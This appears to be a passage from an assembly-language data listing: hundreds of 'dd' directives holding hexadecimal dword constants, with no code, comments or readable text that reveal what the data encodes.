		dd 0FF54FF0Ch, 241BA48Bh, 0FFDF1004h, 1B3422C4h, 31A030Dh
		dd 10040304h, 55DAD9FFh, 0D1FF105Dh, 31A1B26h, 0D7B7C0Ch
		dd 4241B03h, 0C4FF0F10h, 0D1B3427h, 4031A03h, 0FF100403h
		dd 5D55DADDh, 26D9FF10h, 0C031A1Bh, 0DDB33FFh, 4241B03h
		dd 0C4FFDE10h, 0D1B3436h, 4031A03h, 0FF100403h,	5D55DAD9h
		dd 1A1B0F10h, 0A140C03h, 241B030Dh, 0FFEB1004h,	1B343AC4h
		dd 31A030Dh, 10040304h,	105D550Fh, 1B26D1FFh, 0D40C031Ah
		dd 241B030Dh, 0FFDF1004h, 1B343FC4h, 31A030Dh, 10040304h
		dd 55DAD1FFh, 0DDFF105Dh, 31A1B26h, 0C4FF410Ch,	4241BA4h
		dd 0C4FF0F10h, 0D1B3421h, 4031A03h, 0FF100403h,	5D55DADDh
		dd 26D9FF10h, 0C031A1Bh, 0DFB02FFh, 4241B03h, 0C4FFDE10h
		dd 0D1B3436h, 4031A03h,	0FF100403h, 5D55DAD9h, 1A1B0F10h
		dd 69FF0C03h, 1004032Fh, 3AC4FFEBh, 30D1B34h, 304031Ah
		dd 550F1004h, 0D1FF105Dh, 31A1B26h, 0F58CFF0Ch,	241B030Dh
		dd 0FFDF1004h, 1B343FC4h, 31A030Dh, 10040304h, 55DAD1FFh
		dd 0DDFF105Dh, 31A1B26h, 0CAFEFF0Ch, 241B030Dh,	0FF0F1004h
		dd 1B3421C4h, 31A030Dh,	10040304h, 55DADDFFh, 0D9FF105Dh
		dd 31A1B26h, 3B1E30Ch, 1004241Bh, 36C4FFDEh, 30D1B34h
		dd 304031Ah, 0D9FF1004h, 105D55DAh, 31A1B0Fh, 0EE1AFF0Ch
		dd 241B030Dh, 0FFEB1004h, 1B343AC4h, 31A030Dh, 10040304h
		dd 105D550Fh, 1B26D1FFh, 0E40C031Ah, 1BA4D9FFh,	0DF100424h
		dd 343FC4FFh, 1A030D1Bh, 4030403h, 0DAD1FF10h, 0FF105D55h
		dd 1A1B26DDh, 77FF0C03h, 241B030Dh, 0FF0F1004h,	1B3421C4h
		dd 31A030Dh, 10040304h,	55DADDFFh, 0D9FF105Dh, 31A1B26h
		dd 0CECEFF0Ch, 1BA484FFh, 0DE100424h, 3436C4FFh, 1A030D1Bh
		dd 4030403h, 0DAD9FF10h, 0F105D55h, 0C031A1Bh, 241B033Eh
		dd 0FFEB1004h, 1B343AC4h, 31A030Dh, 10040304h, 105D550Fh
		dd 1B26D1FFh, 0FF0C031Ah, 0D4AFF42h, 4241B03h, 0C4FFDF10h
		dd 0D1B343Fh, 4031A03h,	0FF100403h, 5D55DAD1h, 26DDFF10h
		dd 0C031A1Bh, 4030C92h,	0C4FF0F10h, 0D1B3421h, 4031A03h
		dd 4033203h, 0A0D1FF10h, 241B5422h, 0FFDE1004h,	1B3431C4h
		dd 31A030Dh, 3320304h, 0DDFF1004h, 0DD674A0h, 4241B03h
		dd 0C4FFEB10h, 0D1B3438h, 4031A03h, 4033203h, 0A0D9FF10h
		dd 1B030DACh, 0DF100424h, 0FF3DC4FFh, 0DDFFA6D9h, 1A0332A4h
		dd 0CEFF0C03h, 0A4D0FFC8h, 1004241Bh, 24C4FF0Fh, 1A030D1Bh
		dd 32030403h, 0FF100403h, 0FF36A0D1h, 241BA489h, 0FFDE1004h
		dd 1B3431C4h, 31A030Dh,	3320304h, 0DDFF1004h, 66FFBBA0h
		dd 241B03A4h, 0FFEB1004h, 1B3438C4h, 31A030Dh, 3320304h
		dd 0D9FF1004h, 0FF96FFA0h, 241BA4DBh, 0FFDF1004h, 0D9FF3DC4h
		dd 0A4DDFFA6h, 31A0332h, 3692FF0Ch, 241B030Dh, 0FF0F1004h
		dd 0D1B24C4h, 4031A03h,	4033203h, 0A0D1FF10h, 1B030D94h
		dd 0DE100424h, 3431C4FFh, 1A030D1Bh, 32030403h,	0FF100403h
		dd 8CFFA0DDh, 1B030DC7h, 0EB100424h, 3438C4FFh,	1A030D1Bh
		dd 32030403h, 0FF100403h, 33EA0D9h, 1004241Bh, 3DC4FFDFh
		dd 0FFA6D9FFh, 332A4DDh, 3B0C031Ah, 4241BDAh, 0C4FF0F10h
		dd 30D1B24h, 304031Ah, 10040332h, 87A0D1FFh, 30DF4FFh
		dd 1004241Bh, 31C4FFDEh, 30D1B34h, 304031Ah, 10040332h
		dd 0FFA0DDFFh, 0D9DF6CEh, 4241B03h, 0C4FFEB10h,	0D1B3438h
		dd 4031A03h, 4033203h, 0A0D9FF10h, 0D328FFFh, 4241B03h
		dd 0C4FFDF10h, 0A6D9FF3Dh, 32A4DDFFh, 0C031A03h, 3E981FFh
		dd 0FF0F1004h, 0D1B24C4h, 4031A03h, 460F1003h, 0D10C0303h
		dd 241B030Dh, 0FFDE1004h, 1B3437C4h, 31A030Dh, 0FF100304h
		dd 34626D1h, 0F8920C03h, 241B030Dh, 0FFEB1004h,	1B343BC4h
		dd 31A030Dh, 0FF100304h, 34626DDh, 4600C03h, 0DF100403h
		dd 1B3CC4FFh, 31A030Dh,	0FF100304h, 34626D9h, 4B20C03h
		dd 0F100403h, 3426C4FFh, 1A030D1Bh, 10030403h, 303460Fh
		dd 30D900Ch, 1004241Bh,	37C4FFDEh, 30D1B34h, 304031Ah
		dd 26D1FF10h, 0C030346h, 3A221FFh, 0FFEB1004h, 1B343BC4h
		dd 31A030Dh, 0FF100304h, 34626DDh, 33E0C03h, 1004241Bh
		dd 3CC4FFDFh, 1A030D1Bh, 10030403h, 4626D9FFh, 640C0303h
		dd 10040304h, 26C4FF0Fh, 30D1B34h, 304031Ah, 3460F10h
		dd 85FF0C03h, 241B0342h, 0FFDE1004h, 1B3437C4h,	31A030Dh
		dd 0FF100304h, 34626D1h, 1FF0C03h, 1B030DD3h, 0EB100424h
		dd 343BC4FFh, 1A030D1Bh, 10030403h, 4626DDFFh, 0B0C0303h
		dd 241B030Dh, 0FFDF1004h, 0D1B3CC4h, 4031A03h, 0D9FF1003h
		dd 3034626h, 3040E0Ch, 0FF0F1004h, 1B3426C4h, 31A030Dh
		dd 0F100304h, 0C030346h, 1B030DAAh, 0DE100424h,	3437C4FFh
		dd 1A030D1Bh
		dd 10030403h, 4626D1FFh, 7E0C0303h, 1B030D21h, 0EB100424h
		dd 343BC4FFh, 1A030D1Bh, 10030403h, 4626DDFFh, 0FB0C0303h
		dd 1B030D92h, 0DF100424h, 1B3CC4FFh, 31A030Dh, 0FF100304h
		dd 34626D9h, 0ABFF0C03h, 24A4C6FFh, 0FF0F1004h,	1B3426C4h
		dd 31A030Dh, 0D030304h,	31A030Bh, 0EB5050Dh, 1A030E10h
		dd 0FF050D03h, 1E3CE421h, 0C6FF574Dh, 0A08033Dh, 30340DAh
		dd 0F101AB3h, 0E30B7B41h, 0F10CF0Eh, 1B1D7B41h,	10CF20E3h
		dd 1A7B410Fh, 9C39E31Bh, 8AC6FF49h, 0FF574577h,	1F47DDh
		dd 0FF7DD1FFh, 5260938h, 0FF290000h, 0B70A0D38h, 17422B23h
		dd 0FF2909D0h, 5460D38h, 38FF2900h, 38FF000Dh, 52631h
		dd 22DDFF4Dh, 9128FF1Bh, 22DDFF3Ch, 0ED28FF1Bh,	22DDFFB7h
		dd 0E928FF1Bh, 22DDFFB7h, 0E528FF1Bh, 22DDFFB7h, 9128FF1Bh
		dd 0FFB70A2Eh, 0FF1B22DDh, 0FFB7E928h, 0FF1B22DDh, 0FFB7E528h
		dd 304004Ah, 0FF9128FFh, 28FFEC22h, 0FF1BB7EDh,	1BB7E928h
		dd 0B7E528FFh, 0FFFECEFFh, 0EC22FFE6h, 0B7E930FFh, 33FECEFFh
		dd 0FFEC22FFh, 0FFB7ED20h, 0E7FFFECEh, 0FFEC22FFh, 1A0A9138h
		dd 0FFE6FF46h, 6F1B33E6h, 0FFE7FF00h, 38FFEC22h, 0FF1BB7E5h
		dd 1BB7E920h, 0B7ED30FFh, 9128FF1Bh, 0FF1E33D4h, 0C5FF7EC1h
		dd 0FF00A335h, 0FFB7E528h, 0E100621h, 3C90A3BEh, 7EC1FF1Eh
		dd 11C6C5FFh, 4AFFA84Eh, 0E528FF00h, 1E3C90B7h,	0FF7EC1FFh
		dd 4E11E3C5h, 4A38FFh, 0A9000117h, 7EC1FF1Eh, 0FF81C5FFh
		dd 0A004BDEh, 3C9000B7h, 7EC1FF1Eh, 55A7C5FFh, 28FF00A1h
		dd 90A32491h, 4D1E3Ch, 28080304h, 33FFB9CFh, 14FFFC5h
		dd 0D030425h, 0C5FF0803h, 3030D29h, 1782808h, 0E030425h
		dd 1E3C030Dh, 0C6FF784Dh, 23033960h, 0E3C5FF23h, 0D032C11h
		dd 39FF0003h, 2C2009D2h, 40E0E10h, 0C6D1FF03h, 4030431h
		dd 83FF0C5Bh, 98F2CC6h,	0F5C5FF0Eh, 8D2C6FFh, 0B7690617h
		dd 0C1370h, 0AD20FF13h,	0DAFFCFFFh, 1E3C9072h, 1DF7B34Dh
		dd 4516C6FFh, 1A038C57h, 0B1120203h, 32D1303h, 50049h
		dd 0A5D1FF10h, 0B34D1E3Ch, 0C6FF1DA2h, 8C574516h, 2031A03h
		dd 1303B112h, 49032Dh, 0FF100005h, 1E3CA5D1h, 451FDCh
		dd 6C8AFF80h, 7AC5FF03h, 170801h, 0DEC5FF82h, 2130110h
		dd 0E7FF4C09h, 2F020000h, 2B030601h, 55238h, 36C8AFFh
		dd 0E000304h, 9DD2FF00h, 11020015h, 322BFF07h, 29020D00h
		dd 29371C19h, 20DCC1Ch,	0ACD2FF29h, 1F000B15h, 0F7C5FF93h
		dd 3B0C2C29h, 47C16164h, 858DFF15h, 5607163Dh, 1D1F006Dh
		dd 85DDFF15h, 0FF071649h, 0B4004ED0h, 26C85FFh,	0CAFF0716h
		dd 0FF151D00h, 71685C1h, 1F00F655h, 6C85FFB4h, 0FF071602h
		dd 1F00F696h, 2601534h,	88FF0716h, 1A9D004Eh, 8542900h
		dd 1FA588FFh, 0C010039h, 0F6260601h, 2F020400h,	390A0801h
		dd 69FF1F01h, 12F0245h,	0FF06010Ch, 2044E69h, 0A08012Fh
		dd 4A469FFh, 0C012F02h,	0F6320601h, 2F020400h, 420A0801h
		dd 0FFB41F01h, 2F026C85h, 6010C01h, 2F02003Eh, 0DA0A0801h
		dd 85FFB41Fh, 12F026Ch,	3C06010Ch, 4004FFFh, 8012F02h
		dd 0B41FDA0Ah, 26C85FFh, 10C012Fh, 2F17FA06h, 0DA0A0801h
		dd 85FFB41Fh, 12F026Ch,	0E106010Ch, 4004FFFh, 8012F02h
		dd 481FDA0Ah, 10C017Fh,	77FF06h, 12F0204h, 2480A08h, 0FF1F012Fh
		dd 85FF452Bh, 12F026Ch,	0FF06010Ch, 2004F3Bh, 0A08012Fh
		dd 1FA42BFFh, 12F3B0Eh,	0FF06010Ch, 2004F28h, 0A08012Fh
		dd 0B41F010Eh, 26C85FFh, 10C012Fh, 931B06h, 12F0204h, 1FDA0A08h
		dd 44729FFh, 0C012F02h,	93800601h, 2F020400h, 0DA0A0801h
		dd 452BFF1Fh, 26C85FFh,	10C012Fh, 938E06h, 12F0204h, 2BFF0A08h
		dd 7F1F2AA4h, 6010C01h,	20400E2h, 21A012Fh, 0C2A5416h
		dd 12F0207h, 4706010Ch,	2040093h, 21A012Fh, 15155429h
		dd 601000Bh, 0C012F02h,	66FC0601h, 2F020400h, 4528FF01h
		dd 1F012F00h, 5531547h,	10C0100h, 4D85FF06h, 12F0200h
		dd 0D470A08h, 1F012F02h, 0FF6615A8h, 2F026C85h,	6010C01h
		dd 400667Ah, 8012F02h, 20DA80Ah, 204012Fh, 20D012Fh, 4A19258Ah
		dd 70C2A01h, 89C5FF03h,	0FF820017h, 13016DC5h, 0FF1D0902h
		dd 37C6h, 2B030601h, 55238h, 6693DCh, 0E8A85FFh, 0E0003h
		dd 159DD2FFh, 7160200h,	20D0098h, 1A1C1916h, 50000h, 0C513FF26h
		dd 0FF199827h, 30002D0Ah, 0C5FF0307h, 1708014Dh, 1A42FF4Ch
		dd 50000h, 0C513FF26h, 199896FFh, 2D0AFFh, 0FF030730h
		dd 4C170DC5h, 2E02FFh, 26000500h, 0FFC513FFh, 0FF199856h
		dd 30002D0Ah, 0C5FF0307h, 91998CDh, 0F003E4Ch, 3F010F19h
		dd 47D1FF19h, 5D51515h,	13FF2600h, 801B1C5h, 30000017h
		dd 0C5FF0307h, 0A44C17ABh, 85FF1566h, 0C5FF829Ch, 0D26BFFC9h
		dd 1708h, 0FF030730h, 91964C5h,	484Ch, 0FF260005h, 89FFC513h
		dd 0AFF196Bh, 730002Dh,	24C5FF03h, 4C170801h, 16023639h
		dd 0B4319h, 156E0F08h, 0FF00ABFFh, 100059Fh, 0A9F4FF06h
		dd 0D9FF1800h, 70C01D0h, 21076B02h, 0A9h, 660A0801h, 86160206h
		dd 89FF0601h, 7CB41F2Ch, 6010005h, 0B400A93Dh, 100057Ch
		dd 0A91F06h, 57CB4h, 620601h, 57CB41Fh,	0FF060100h, 42007013h
		dd 58060100h, 78A0017h,	56C5FF03h, 170801h, 526h, 0FF030601h
		dd 8017BC5h, 10F0017h, 0E090F08h, 16201202h, 3319h, 6010005h
		dd 718AFFh, 716009Bh, 773027Fh,	0C2A0067h, 3A8A0207h, 45071602h
		dd 88FF0076h, 20C6FFA9h, 25A8A02h, 15AF198Ah, 868A020Eh
		dd 0D10601h, 42E6C6FFh,	6F060100h, 0C21500h, 0FF03063Eh
		dd 80149C5h, 5B0417h, 40038C57h, 2C8A4203h, 0A628FF0Ah
		dd 0A7D1FFh, 20A4C4FFh,	3950F45h, 0FF97030Fh, 1F4733h
		dd 28FF0A2Ch, 3D0FA6h, 0C6FEFF0Bh, 3AE63FFh, 421FD397h
		dd 0FF032C8Ah, 28FF46DDh, 50BA6h, 36F9C6FFh, 0E100403h
		dd 30B003Dh, 41C6D9FFh,	66511E33h, 0E2DC7FFh, 801B819h
		dd 1B821h, 322301B8h, 0E0C4FF0Ah, 50800h, 10F0000h, 10F2108h
		dd 0FF01B800h, 1F837C5h, 0C4FF0A13h, 251602B7h,	152A20h
		dd 711020Bh, 20D0046h, 0FF180116h, 0C01D0D9h, 1B81807h
		dd 0D3FBC5FFh, 16170801h, 16026525h, 0C5FF2AE9h, 0C5FF2A8Bh
		dd 0C6FF0046h, 0FF2A4F30h, 130149C5h, 0FF010F18h, 480060C5h
		dd 4511E3Ch, 81721103h,	6010000h, 77FFEEh, 6012202h, 220200C1h
		dd 0A0180601h, 15C5FF01h, 1000517h, 7412FF1Fh, 0DED2FF0Ch
		dd 0FF4B86FFh, 23B8D87h, 0C0ABC11h, 86D2FFh, 10001h, 0C5FF0100h
		dd 630A13BFh, 29020015h, 1A01807h, 5F2C5FFh, 22170801h
		dd 24210801h, 1240001h,	0B0C4FF23h, 0FF071102h,	0C5FFEB81h
		dd 0FF0601D1h, 3119422Ah, 21080122h, 12231h, 81FF070Ch
		dd 0CDC5FFEBh, 80143FFh, 8012217h, 1222F21h, 1222F00h
		dd 7110220h, 0FFEB81FFh, 188F9CC5h, 0FF012231h,	20DB2C5h
		dd 2040122h, 0FF500122h, 43318D28h, 1202140Ah, 5002E38h
		dd 6010000h, 48F1CEFFh,	1220200h, 200A306h, 18060122h
		dd 0C5FF01A0h, 80114E7h, 2040117h, 0FF500122h, 4331A128h
		dd 1202140Ah, 79EA66FFh
		dd 1000081h, 487A06h, 6012202h,	7AD2FFh, 180601C6h, 0C5FF01A0h
		dd 17080147h, 57280801h, 1D3C5FFh, 3A251100h, 55528FFh
		dd 12021400h, 81261505h, 6010000h, 200485Fh, 0A4060122h
		dd 1220206h, 1A01806h, 172DC5FFh, 22020401h, 28FF5001h
		dd 14000549h, 15051202h, 576h, 0E2CB0601h, 1220200h, 7A12FF06h
		dd 601C600h, 0FF01A018h, 11787C5h, 1220204h, 7928FF50h
		dd 2140005h, 38150512h,	1000081h, 0E2A106h, 6012202h, 7BC4FFh
		dd 180601C6h, 0C5FF01A0h, 17080179h, 22020401h,	28FF5001h
		dd 14008111h, 15051202h, 5EB19FFh, 6010000h, 1221720h
		dd 206B206h, 18060122h,	0C5FF01A0h, 0D213FFD3h,	3A251619h
		dd 310528FFh, 2140A43h,	42150512h, 1220200h, 0CA97FF06h
		dd 1220200h, 7B10FF06h,	601C600h, 0FF01A018h, 11785C5h
		dd 1220204h, 3928FF50h,	2140081h, 2070C63h, 4 dup(2060122h)
		dd 60122h, 1222F18h, 171DC5FFh,	601220Ah, 1220241h, 22024106h
		dd 2410601h, 6060122h, 1000005h, 0CA1A06h, 0FF012202h
		dd 0E00D208h, 1CE34F01h, 5496606h, 0D3C1FF00h, 1E6907h
		dd 5EB19FFh, 6010000h, 1E9ACEFFh, 1220200h, 1E7E06h, 180601C6h
		dd 0C5FF01A0h, 4011788h, 50012202h, 0CED928FFh,	2140A43h
		dd 85C1563h, 5,	8012259h, 1225921h, 1A00h, 0AC5FF01h, 5918001Eh
		dd 0C5FF0122h, 220062D4h, 59001F01h, 1E9B0122h,	22591800h
		dd 0CCC5FF01h, 1220062h, 0E8C5FF15h, 1000005h, 79DDFF06h
		dd 1220200h, 629706h, 180601C6h, 0C5FF01A0h, 0D211FFF3h
		dd 4012219h, 50012202h,	0CEF128FFh, 2140A43h, 0CE871563h
		dd 122001Dh, 2217C006h,	840601h, 6012202h, 0FF01A018h
		dd 17A9C5h, 2071102h, 17A50711h, 21080122h, 1227Ch, 2301227Ch
		dd 6FC4FFh, 5, 0FFD781FFh, 0FF4CD781h, 2F30h, 0C7C5FF01h
		dd 0FF1800AAh, 0AAD781h, 1F0122h, 0AAD781FFh, 81FF1800h
		dd 500AAD7h, 66150100h,	22001DCEh, 83FF0601h, 2217087Eh
		dd 0EC0601h, 6012202h, 1227C18h, 17B1C5FFh, 0C5FF0122h
		dd 48130171h, 1000005h,	0AAA106h, 6012202h, 7FC4FFh, 180601C6h
		dd 0C5FF01A0h, 17080179h, 22020401h, 28FF5001h,	14000561h
		dd 87156302h, 22001DCEh, 21FF0601h, 2202007Eh, 6CD0601h
		dd 6012202h, 0C601A018h, 1708017Eh, 11020711h, 13016207h
		dd 48156302h, 1000005h,	0FF9EFF06h, 2202007Fh, 1BFF0601h
		dd 1C6007Fh, 1A01806h, 0FF8CC5FFh, 0FF154721h, 5C6C5h
		dd 22020D2Ch, 18070C01h, 1D785FFh, 0CECE3815h, 626CF6FFh
		dd 170801h, 4000526h, 50012202h, 0CE3928FFh, 2140A43h
		dd 4511FF12h, 22001DCEh, 0FFED0601h, 2202007Fh,	0AC0601h
		dd 6012202h, 0FF01A018h, 51725C5h, 6010000h, 20077BBh
		dd 93060122h, 1C60077h,	1A01806h, 0FFE1C5FFh, 1A01914h
		dd 32A1C5FFh, 37ADA30Ah, 29C1FFh, 0A2C0E09h, 0FF0AB609h
		dd 1DBCC4h, 0E090711h, 801B819h, 1B821h, 322301B8h, 76C4FF0Ah
		dd 49071100h, 31130193h, 6010081h, 1200AA93h, 0C4FF0AB6h
		dd 5531Dh, 63C0601h, 0C5FF0000h, 110206BAh, 190E0907h
		dd 11020015h, 190E0907h, 210801B8h, 0B80001B8h,	0A322301h
		dd 0E8C4FFh, 0D9C5FF00h, 46130166h, 6010005h, 0A00E6FFh
		dd 0FF0AB612h, 0D0FFB7C4h, 0CB0601C5h, 6010081h, 7D0AFFh
		dd 22071102h, 22D62FFh,	0E090711h, 2001519h, 0E090711h
		dd 801B819h, 1B821h, 322301B8h,	6C6FF0Ah, 0FF071102h, 59130177h
		dd 6010081h, 120A00ECh,	0C6FF0AE5h, 1E330B2Eh, 70CC351h
		dd 62FF54FFh, 0C5FF232Dh, 0D1FF0045h, 2EBF2Ch, 0F280F03h
		dd 90C001Ch, 1F00900Fh,	29FF0CA6h, 190005EAh, 1D311FFh
		dd 11FF2108h, 0FF0001D3h, 0FF01D311h, 120295C5h, 0FF03047Bh
		dd 1F56AED9h, 0FF090C1Dh, 1700C5DDh, 92400C1Dh,	30D1301h
		dd 4E111400h, 0A130153h, 189BC4FFh, 1D311FFh, 0FF2AC5FFh
		dd 12CD21Ah, 0FF2A5619h, 0A328FC5h, 2A1C4FFh, 440111h
		dd 1A90601h, 0FF001708h, 150D0C5h, 11020D13h, 125E1C19h
		dd 98D20FFFh, 6F4015h, 8F090A2Ch, 4645E18h, 1D191102h
		dd 0D28AFFC7h, 0C5DDFF09h, 0D202FF09h, 4E11142Ch, 0A13016Fh
		dd 0E093733h, 3770D2FFh, 0AA7C5FFh, 0C6FF1D12h,	0B61h
		dd 23572808h, 0FF060304h, 151301E6h, 0B040320h,	9061400h
		dd 6C30FFDDh, 801D22Fh,	15510417h, 0FF070CC3h, 23001042h
		dd 73C5FFh, 1D1F1D1Fh, 1102392Bh, 56090119h, 63C5FF2Ah
		dd 0FF0A1301h, 11D8F9C4h, 9DD1FF07h, 0BFF40FFh,	6202CD2h
		dd 0D10601h, 0E82EA1h, 11020D5Eh, 38FF0786h, 1000569h
		dd 70C792Eh, 1111CB4h, 522938FFh, 1060005h, 10F1806h, 90F0E2Bh
		dd 0C5FF2A56h, 0C4FF0A84h, 5D802h, 1A00000h, 1A02108h
		dd 2B010F00h, 85FF1844h, 0C5FF01D1h, 0A130147h,	37DDC4FFh
		dd 440129h, 8FF0601h, 4721FF9Bh, 0FF01001Fh, 2A0047C5h
		dd 7511C5FFh, 47D1FF00h, 0FF01001Fh, 3D0064C5h,	0FF070C00h
		dd 200612Ah, 8DFF798Ah,	10001D9h, 7D000100h, 20D1401h
		dd 265258Ah, 204EA8Ah, 4001258Ah, 0C7231102h, 658A0253h
		dd 4F238A02h, 0D989FF21h, 1420001h, 0CC0D0C04h,	8A025A25h
		dd 9020ABCh, 70C08h, 1D989FFh, 50006h, 0AF6C0094h, 0FF6C0220h
		dd 0C0A94D2h, 0FFDED2FFh, 87FF4B86h, 6C0207A0h,	1000007h
		dd 10F1806h, 5482Bh, 60210801h,	60214B12h, 11D74C09h, 11023671h
		dd 11000BA7h, 11023919h, 4540C54h, 0D5A6C02h, 5A256C02h
		dd 16C020Dh, 4E6C1218h,	6C120013h, 726C0286h, 1800EE2Eh
		dd 2E726C12h, 120200EEh, 18D209FFh, 7866C7Ah, 10F2E00h
		dd 5062Bh, 0FF01001Fh, 3D0065C5h, 81BD88FFh, 88FF3D99h
		dd 2AB281BFh, 20B0015h,	0EE47076Ch, 6C020D00h, 6C7A1801h
		dd 1000786h, 2EF0A08h, 0F18076Ch, 5062B01h, 0A7110000h
		dd 1911000Bh, 0B9ACEFFh, 23B0100h, 9FBD916Ch, 0B31A011Ch
		dd 1C10D2FFh, 0FF6C0249h, 20B29D2h, 9FBD916Ch, 23B011Ch
		dd 0BFF616Ch, 0FF91BDA7h, 20B29D2h, 71BD916Ch, 0FF6C0241h
		dd 0B324ECD2h, 0A66C0286h, 0FF6C0204h, 624ECD2h, 0FF01A018h
		dd 38D1C5h, 0B00152Ah, 0FF076C02h, 20065F7h, 7A18016Ch
		dd 7866Ch, 0EF0A0801h, 18076C02h, 62B010Fh, 10005h, 0D2FF6C00h
		dd 34024ECh, 6C026400h,	1481801h, 0C6DDFF15h, 22C0005h
		dd 265256Ch, 0B1FE96Ch,	5C6D9FFh, 6C022C00h, 0FF2B2AA6h
		dd 11005F31h, 7BC6FF07h, 7111708h, 155A6C02h, 0FF2E2E66h
		dd 0D5ED6CF6h, 18170801h, 7866C7Ah, 10F2E00h, 5062Bh, 375C0801h
		dd 18B6C4FFh, 0C5FF01A0h, 442B2A81h, 0D185FF18h, 58C5FF01h
		dd 0A30A1301h, 0C31537ADh, 0FF1D9600h, 0E091BC6h, 4038EF0Ah
		dd 80151301h, 0B0E2Eh, 0DD090614h, 936C30FFh, 17080174h
		dd 8C574D04h, 45034003h, 0F03950Fh, 45D9703h, 20393F03h
		dd 91B4B36h, 484728FFh,	0C2C62BFFh, 329ACEFFh, 5B1E330Ah
		dd 0F450800h, 9B04508h,	21FF2806h, 0FF0AB69Fh, 0FF003CC4h
		dd 0D9FF009Fh, 0FF003345h, 2D6BFF42h, 3040003h,	30400h
		dd 28BDC4FFh, 21FF2820h, 0A3200EBh, 396C4FFh, 54A00h, 3040084h
		dd 30400h, 0FF65C6FFh, 0AE59F21h, 0FF51C6FFh, 0FF099FD9h
		dd 0E2E45D9h, 4000300h,	3040003h, 57280800h, 0FFD239FFh
		dd 56938h, 39BF280Bh, 0FF105E00h, 280B4BDDh, 100E120Fh
		dd 3CA431FFh, 31FF5B1Eh, 0FF0A325Eh, 0B01C4h, 0FF0A0803h
		dd 2323A431h, 0B2F1523h, 11ABFF00h, 0A325B19h, 0DCC4FFh
		dd 54615h, 683BFFh, 2000057Dh, 0B58EFF54h, 0F420900h, 16F1C5FFh
		dd 0FF1D1219h, 0D03F9C6h, 9FF0903h, 2F4209D2h, 9ACEFF06h
		dd 1D091916h, 0A680FFC7h, 41A380Dh, 4B380D03h, 89FF03A4h
		dd 33B01F0h, 9B88FFFh, 9FF098Ah, 94209D2h, 19168EC8h, 0C6FF1D12h
		dd 383B03FEh, 0FF45085Fh, 0C5FF2DC5h, 340036Dh,	10004903h
		dd 102ED1FFh, 3A5C5FFh,	0E511E33h, 1F1CEFFh, 11020D13h
		dd 0C5FF1C19h, 3B0C1386h, 112069FFh, 2511025Ah,	23110265h
		dd 11024215h, 99C5FF86h, 0C6FF1D13h, 2391598h, 0F8800711h
		dd 1020C00h, 7A000207h,	601000Bh, 1E190E09h, 0D110FF51h
		dd 0FF0002B7h, 5C6D1h, 0D988FF08h, 0D9FF1C16h, 0D1401D0h
		dd 0FF251602h, 21FF46D2h, 40000AEh, 0D2FF1602h,	42808F46h
		dd 0FF071602h, 4197F30h, 0D2FF1602h, 0FF808F46h, 5E68Dh
		dd 0D0FF0601h, 1617087Ch, 70C0307h, 2070C5Eh, 1E0716h
		dd 0D889120Ah, 74C4FF00h, 0FF0B0019h, 544C6h, 280F0000h
		dd 0AE5090Fh, 5766C6FFh, 16020B00h, 6F87FF07h, 0F000300h
		dd 4800D33Bh, 9D23AFFh,	7A0D1FFh, 33190E09h, 4D1Eh, 13015014h
		dd 0AE50902h, 39C6FFh, 97DD1FFh, 3C00050Eh, 95574D1Eh
		dd 8030F03h, 0C14159h, 0FF3D0403h, 0FF00E083h, 0FF7EA612h
		dd 303A528h, 23A528FFh,	1787C5FFh, 165C5FFh, 40060313h
		dd 1F1CEFFh, 0C6FF1D13h, 0B511EB5h, 8AFF0603h, 11022C5Fh
		dd 20090786h, 56090A2Ch, 1020E15h, 55007h, 2070102h, 23235A11h
		dd 8CFF6915h, 0FFB97F6Ch, 1E19D287h, 0E4850951h, 0C232C29h
		dd 6DD8FF07h, 7160200h,	0FF070CCDh, 0D2F6FFAFh,	0D0DAFF2Ch
		dd 30D01h, 87071602h, 45080014h, 0FF038C57h, 0C4FF5811h
		dd 0B3Bh, 0A2CD180h, 0C6FF1D09h, 0F0900F4h, 2BFF8509h
		dd 167C1904h, 4C090119h, 7C2DF7FFh, 16801C16h, 5A16801Ch
		dd 65251602h, 4EA1602h,	1251602h, 23160240h, 1FBCC4FFh
		dd 1602041Ah, 2060B25h,	17000716h, 0FF0F0900h, 0FF006D2Bh
		dd 1D453Bh, 35071602h, 0FF2D12FFh, 10136C4h, 69FF8509h
		dd 1D090AD1h, 0FF19C6FFh, 5E031h, 9071602h, 2B23190Eh
		dd 26009B00h, 1E330005h, 0E090051h, 30020F19h, 11D2FFh
		dd 11C3080h, 0FF000100h, 1401DA89h, 2530020Dh, 0EA300265h
		dd 25300204h, 1D034001h, 2E2C6FFh, 30026530h, 0FF214F23h
		dd 1DADDh, 25A630FFh, 5A253002h, 0ABC3002h, 0C0D0902h
		dd 6010007h, 5F01FF00h,	0D9FF2800h, 0D223FF2Ch,	0FF5F0F09h
		dd 2CD20Ah, 122970Fh, 0F60F0913h, 85FF2C29h, 210801DAh
		dd 1DA85FFh, 0CEFF0F00h, 0D20BFFCEh, 18070C2Ch,	1DA85FFh
		dd 146C5FFh, 30D13h, 0FF96FF0Fh, 232CD20Bh, 22E2C5FFh
		dd 90A1301h, 0C5FF2334h, 14C6FF8Eh, 30020F09h, 0FFC80907h
		dd 801D18Fh, 0FF0F0917h, 9B2D38h, 15000526h, 2CD20BFFh
		dd 1E3CDC1Eh, 0FF030D5Bh, 0FF239BC5h, 30D8BC5h,	1FF0F00h
		dd 0A13010Bh, 0CB5BC6FFh, 0FF590906h, 31395C5h,	320E0F00h
		dd 7FC6FF0Ah, 122ED0Fh,	0FF090A13h, 0F09D220h, 0D208FF35h
		dd 15C6FF2Ch, 0C8090C23h, 8012735h, 0FF0F0917h,	9B2D38h
		dd 7C000526h, 2CD208FFh, 0BDC3733h, 7110200h, 0FF2300ECh
		dd 0B1F0DC5h, 4F071102h, 30D39h, 5F4E1175h, 130144FFh
		dd 87C4FF0Ah, 2071102h,	440111h, 1810601h, 7111708h, 5C129FFh
		dd 11750000h, 0C6FF1D19h, 0FF001A62h, 130168C5h, 1911020Dh
		dd 0FF1D0901h, 3821FFC6h, 152A1C11h, 2C0005CAh,	188F090Ah
		dd 464E1138h, 8EFF1301h, 2EC809D2h, 4EC5FF2Ah, 330A1301h
		dd 21C1FF37h, 2C80FFh, 90F2808h, 0F94Ch, 11FF1585h, 0C6D9FF2Dh
		dd 1C4539FFh, 0D130100h, 30D03h, 11C29h, 0D130100h, 9060303h
		dd 12DFFFC8h, 3042300h,	1301C106h, 0C1661523h, 43D3600h
		dd 614000Bh, 29FF0F09h,	19000503h, 8C574D1Eh, 7E0AE103h
